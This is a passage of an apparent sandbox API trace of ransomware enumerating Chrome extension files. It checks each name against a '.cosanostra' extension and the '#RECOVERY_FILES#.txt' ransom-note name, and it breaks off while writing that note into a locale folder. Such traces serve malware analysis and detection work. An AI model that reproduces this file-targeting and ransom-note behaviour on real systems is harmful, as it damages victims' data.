(lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 159 [0086.779] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.779] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.779] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.779] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 159 [0086.779] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.779] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.779] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.779] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 159 [0086.781] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.781] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.781] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.781] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 159 [0086.781] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.781] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.781] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.781] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 159 [0086.782] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.782] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.782] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.782] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 159 [0086.782] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.782] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.782] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.782] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 162 [0086.783] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.783] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.783] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.783] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 162 [0086.783] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.783] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.784] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.784] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 159 [0086.784] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.784] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.785] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.785] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 159 [0086.785] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.785] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.785] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.785] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 159 [0086.786] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.786] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.786] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.786] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 159 [0086.786] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.786] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.786] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.786] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 159 [0086.787] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.787] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.787] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.787] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 159 [0086.787] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.787] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.787] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.787] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 159 [0086.788] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.788] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.788] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.788] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 159 [0086.789] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.789] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.789] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.789] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 159 [0086.789] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.789] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.789] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.789] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 159 [0086.790] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.790] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.790] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.790] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 162 [0086.790] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.790] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.790] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.790] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 162 [0086.793] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0086.793] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.793] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0086.793] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 166 [0086.865] StrStrIW (lpFirst="128.png", lpSrch=".cosanostra") returned 0x0 [0086.865] lstrcmpW (lpString1="128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.865] lstrcmpW (lpString1="128.png", lpString2="_uninstalling_.png") returned 1 [0086.865] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 137 [0086.865] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0086.865] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.865] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0086.865] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 143 [0086.871] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.925] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.925] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.925] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 155 [0086.925] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.925] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.926] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.926] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 155 [0086.983] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.983] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.983] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.983] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 155 [0086.985] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.985] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.985] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.985] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 155 [0086.986] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.986] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.986] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.986] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 155 [0086.987] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.987] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.987] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.987] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 155 [0086.988] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.988] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.988] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.037] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 155 [0087.037] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.037] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.037] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.037] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 155 [0087.037] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.037] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.037] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.037] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 155 [0087.038] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.038] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.038] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.038] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 155 [0087.039] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.039] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.039] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.039] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 156 [0087.039] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.039] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.039] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.040] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 155 [0087.040] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.040] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 155 [0087.040] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.040] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 155 [0087.040] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.040] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.040] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 155 [0087.041] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.041] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 155 [0087.041] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.041] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 155 [0087.041] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.041] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.041] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 155 [0087.042] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.042] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 155 [0087.042] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.042] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 155 [0087.042] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.042] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.042] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 155 [0087.043] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.043] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.043] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.043] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 155 [0087.043] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.044] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.044] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.044] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 155 [0087.044] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.044] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.044] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.044] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 155 [0087.045] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.045] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 158 [0087.045] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.045] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 158 [0087.045] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.045] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.045] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 155 [0087.046] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 155 [0087.046] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 155 [0087.046] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 155 [0087.046] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.046] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.047] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.047] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 155 [0087.047] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\#RECOVERY_FILES#.txt") returned 162 [0087.047] lstrlenW 